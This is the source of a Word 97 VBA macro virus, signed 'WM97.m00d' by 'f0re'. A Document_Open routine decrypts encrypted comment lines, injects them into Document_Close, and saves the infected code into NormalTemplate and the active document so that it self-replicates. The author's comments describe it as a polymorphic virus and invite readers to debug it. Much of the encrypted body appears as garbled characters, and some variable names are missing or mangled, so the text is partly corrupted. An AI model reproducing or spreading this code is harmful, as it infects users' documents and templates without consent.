Private Sub Document_Open()'25''wInI{JxKRxyKiL\\fLoMjN^Nq^_ts''{Rbvcwx^g_dzf`ieYjbYvY[Z[de^\]^{^'{Rswbvcwx^g_dzf`ieYjbYvY[Z[de^\]~^{^''iAoujoA^AvBcBdglqC_aCwDx'FyGoGdHv|WkzXmnT]UZoz'GzG{HeHimXlzYmnT^V[pz'_~:c''iAoujoA]_BvBcCdglqC`CwDx'FyGoGdHilWkzXmnT]UZoz'GzG{HeHv}XlzYmnT^V[pz'_~:c''n|V'A'A¹'Aڞ'A'BϾŤ'Bɪ'@'Bίس'A'BŢ˻'B榟'AĻ'_U''e?x@]@Q@t@iO'nEmTN~RGXPGdGIvHmHzIwLJ~JrvKhK'f=a>Z\>r?s'????@]@hNIyMASK'@@@AA^ABHBCICfLUWM'<<<<=Z=??'FFFFoGoUPTHYQHfIKyJ}JnnTUNL'BBBBBCCCCaDDJEGjExHFLFiNWYP'<<<<<<<<fi=Z=u'=======>b>[>r';;;;`<e'_~:c'jAiPK{OCTLC`CFw_GEy';<<<c<Y<p'_~:c'lDlRM}QEVNEcFHkaIG{GkHeH|'i@gA^AuAbBfB^aCwCw'BCCClCpLlRM}QEVNQFWRFWOFcFHNIG{'BBBBBBBCrC`DpLlSM}QFWOOFSFW'CCDDDDDDs{EbErNnTOSGXPSGZTHwR'??@@@@@@sA^AjIsBLB[KBMCV'>>>>????e?x?]@Q@t@s'AABBBBBBBBBCkC`CfKmLvDNE\YNEPEVXVO'??@@@@@@@@@AowA^BpxBHCk'=========>>>f>[>@@'<<<<<<<<k=v'>>>>>>??e?y?\?hl@t@il'CCCCCCCCDDDDjDtEbEVEyEqNnTOSGXPQ'GGGGGGGHHHHHHHHHrIvQqXRWK\TWK{WL{ULjM|M'@@@@@@@AAAAAAAAABBBBkBrB`CTCw'OOPPPPPPPPPQQQQQQQQQRRRRsSpS[|b]aUf^aUVaVhcW_f`eYjbbYfYZeZkd'DDDDDDDEEEEEEEEEFFFFFFFFGdGu~HNHi'DDDDDDDEEEEEEEEEFFFFFFFFnUHTH'DDDDDEEEEEEEEEFFFFFFFFFFGdHJJbHiIfIKKd'>>>>>>??????????@@@@e'GGGHHHHHHHHHIIIIIIIIIJJJKhKxTtZUYM^VYM_ZN~N[N_W'PPPQQQQQQQQQRRRRRRRRRSSStTqT\|c^bVg_bVWbWdX`gafZkccZgZZh[[g\me'FFGGGGGGGGGHHHHHHHHHIIIIJgJKQKyLRLm'DDDDDDDEEEEEEEEEFFFFFFFFnUHTH'GGGHHHHHHHHHIIIIIIIIIJJJKhKMMeKlLiMOOgMNkNPP'>>??????????@@@@@@@@eAj'=>>>>>>>>>??????d?i'=========>>>l>n'<<<<<<<<k=w'@@@@@@@@A_BDIDBHBpy'AAAAAAAAjPC{PD'@@@AAAAAowB_BDD\BDaDFF';;;;`<e'_~:c'h:r''sM@RMA'lj?\?hHr@J@RUJALAR'hNBTNBJDIECICqnM''f:W:M'fAzA^AjmALBSBvBjQ'EEEEnFnTOSGXPGdHJOKI}IJgJ'AAAAgBvB_BSBvCoKkRL}QEVNN'GGGGGHHHIfIrQQQ^JTJvRrYTXL]UULWM_MWMVVM\N_f\aW'AAAABBBBB_BoKkQL}PDUNQEyQEVN'========>[>_FG'??@@@@@@c@]AALAolBMB'========`>[>aFaG'??@@@@@@tA^AuBHCf';;;;i<p'AAAAiPCoOCFKFDJDx'????s@]@BB[AmA^AmALBS'h@@^AuAuBgBh'h:s''nNvqB_Bh'oOdeC`Ci'oNsorB_Bi''cgRwfEfjTlu''fBwCkQLmpDODVQEVNEbEGkFyH'??@@@hNBknBMBSNCT'e'A~Set  = NormalTemplate.VBProjectSet  = .VBComponents(1).CodeModuleSet ǲ = ActiveDocument.VBProjectSet  = ǲ.VBComponents(1).CodeModuleIf .lines(1, 1) <> "Private Sub Document_Open()" Then Set Ʃ = If .lines(1, 1) <> "Private Sub Document_Open()" Then Set Ʃ = If Ʃ = "" Then Exit SubFor  = 3 To Ʃ.countoflinesIf Mid(Ʃ.lines(, 1), 1, 1) <> "'" Then Exit For = Mid(Ʃ.lines(, 1), 2, Len(Ʃ.lines(, 1)))For  = 1 To Len() = Chr(Asc(Mid(, , 1)) - (Right(Ʃ.lines(2, 1), Len(Ʃ.lines(2, 1)) - 1)) - (Int(((4 * Len() + 2 * )) / 18.3)))ƚɊ = ƚɊ & Next ˋ = ˋ & ƚɊ & Chr(13): ƚɊ = ""Next For Ʃ = 1 To Ʃ.countoflinesIf Ʃ.lines(Ʃ, 1) = "Private Sub Document_Close()" ThenApplication.ScreenUpdating = FalseƩ.insertlines Ʃ + 1, ˋExit ForEnd IfNext ƩCall Document_CloseNormalTemplate.SaveActiveDocument.SaveAs ActiveDocument.FullNameEnd SubPrivate Sub Document_Close()End Sub'<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->'MyName = WM97.m00d'WrittenBy = f0re [UC/Skamerks/DVC]''This is my first attempt to write an encrypted polymorphic macro virus.'I havent included any payload. Stealth is also left out (see my other macros for 'good stealth techniques). Although this virus is a bit slow, it works fine. I did have'some problems with the randomly generated key. Though you can check this out for yourself.'If you find any other errors please let me know. Have phun.'<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->